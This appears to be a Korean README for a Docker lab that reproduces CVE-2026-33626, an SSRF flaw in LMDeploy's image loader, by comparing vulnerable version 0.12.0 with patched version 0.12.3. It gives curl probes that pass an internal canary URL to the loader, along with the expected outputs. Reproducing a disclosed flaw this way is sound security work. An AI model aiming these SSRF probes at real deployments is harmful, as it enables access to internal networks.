
이 저장소는 LMDeploy의 비전-언어 이미지 로딩 경로에서 발생하는 SSRF(Server-Side Request Forgery, 서버 측 요청 위조) 취약점인 CVE-2026-33626을 재현합니다.
취약한 동작은 LMDeploy가 이미지 URL을 수신하고 서버 측 이미지 로더가 내부(internal), 사설(private), 루프백(loopback), 링크-로컬(link-local) 주소를 제대로 차단하지 않은 채 해당 URL을 가져올 때 발생합니다.
이 실습 환경은 다음을 비교합니다:
| 서비스 | 버전 | 목적 |
|---|---|---|
vuln | LMDeploy 0.12.0 | 취약한 동작 시연 |
patched | LMDeploy 0.12.3 | 패치된 동작 시연 |
internal | Local canary service | Docker 네트워크 내부 전용 리소스 시뮬레이션 |
이 실습 환경은 Docker Compose로 로컬에서 실행되도록 설계되었으며, 클라우드 메타데이터 엔드포인트나 외부 대상을 접촉하지 않습니다.
LMDeploy는 사용자가 제공한 URL에서 이미지를 로드할 수 있는 비전-언어 워크플로우를 지원합니다. 취약한 버전에서는 이미지 로딩 코드가 내부/사설 네트워크 주소로 해석되는 URL을 가져올 수 있습니다.
이로 인해 LMDeploy 엔드포인트에 접근 권한이 있는 공격자가 서버로 하여금 다음과 같은 내부 리소스를 요청하도록 만들 수 있습니다:
이 실습 환경에서 내부 대상은 의도적으로 무해합니다:
http://internal:9000/private.png
이 URL은 Docker Compose 네트워크 내부에서만 존재합니다.
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
이 실습 환경은 전체 VLM 추론 서버를 실행하지 않습니다. 대신 다음을 호출하여 취약한 LMDeploy 이미지 로딩 프리미티브를 격리합니다:
from lmdeploy.vl import load_image
load_image(url)
이를 통해 재현 과정을 가볍고 결정적으로 유지하면서도 패치된 보안 동작을 그대로 시연할 수 있습니다.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
Docker 네트워크 내부에서 내부 카나리는 다음 주소로 접근할 수 있습니다:
http://internal:9000/private.png
Apple Silicon에서는 이 실습 환경에 사용된 LMDeploy wheel이 x86_64 기반이므로 vuln 및 patched 서비스가 linux/amd64로 실행됩니다.
서비스를 빌드하고 시작합니다:
docker compose up -d --build
컨테이너 상태를 확인합니다:
docker compose ps
예상 상태:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
예상 출력:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
가상 환경을 만들고 의존성을 설치합니다:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
PoC를 실행합니다:
python poc/poc.py
기본 SSRF 대상은 다음과 같습니다:
http://internal:9000/private.png
이 대상은 공개 인터넷이 아닌 Docker 컨테이너에서 접근할 수 있습니다.
취약 서비스는 내부 카나리 이미지를 성공적으로 가져와야 합니다:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
이는 LMDeploy 0.12.0이 내부 Docker 서비스에 서버 측 요청을 보냈음을 확인합니다.
패치된 서비스는 내부 서비스에 도달하기 전에 동일한 URL을 차단해야 합니다:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
이는 LMDeploy 0.12.3이 비전역/내부 IP 주소로 해석되는 URL을 차단함을 확인합니다.
최종 예상 요약:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
내부 카나리를 초기화합니다:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
취약 서비스를 테스트합니다:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
예상: /hits에 요청 1개가 포함됩니다.
패치된 서비스를 테스트합니다:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
예상: /hits가 비어 있습니다.
PoC는 공격자가 하는 것처럼 내부 서비스를 직접 요청하지 않습니다.
대신 PoC는 내부 URL을 LMDeploy에 전송합니다. LMDeploy가 컨테이너 네트워크 내부에서 해당 URL을 가져오면 내부 카나리가 그 요청을 기록합니다.
이러한 동작이 SSRF 프리미티브를 입증합니다:
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
패치된 버전은 비전역 IP 주소로 해석되는 URL을 거부함으로써 이를 방지합니다.
docker compose down -v
GitHub 보안 권고: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
패치 커밋: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
풀 리퀘스트: #4447 https://github.com/InternLM/lmdeploy/pull/4447
| 서비스 | 호스트 URL | 컨테이너 포트 | 설명 |
|---|
vuln | http://127.0.0.1:8081 | 8000 | LMDeploy 0.12.0 래퍼 |
patched | http://127.0.0.1:8082 | 8000 | LMDeploy 0.12.3 래퍼 |
internal | http://127.0.0.1:8090 | 9000 | 내부 카나리 서비스 |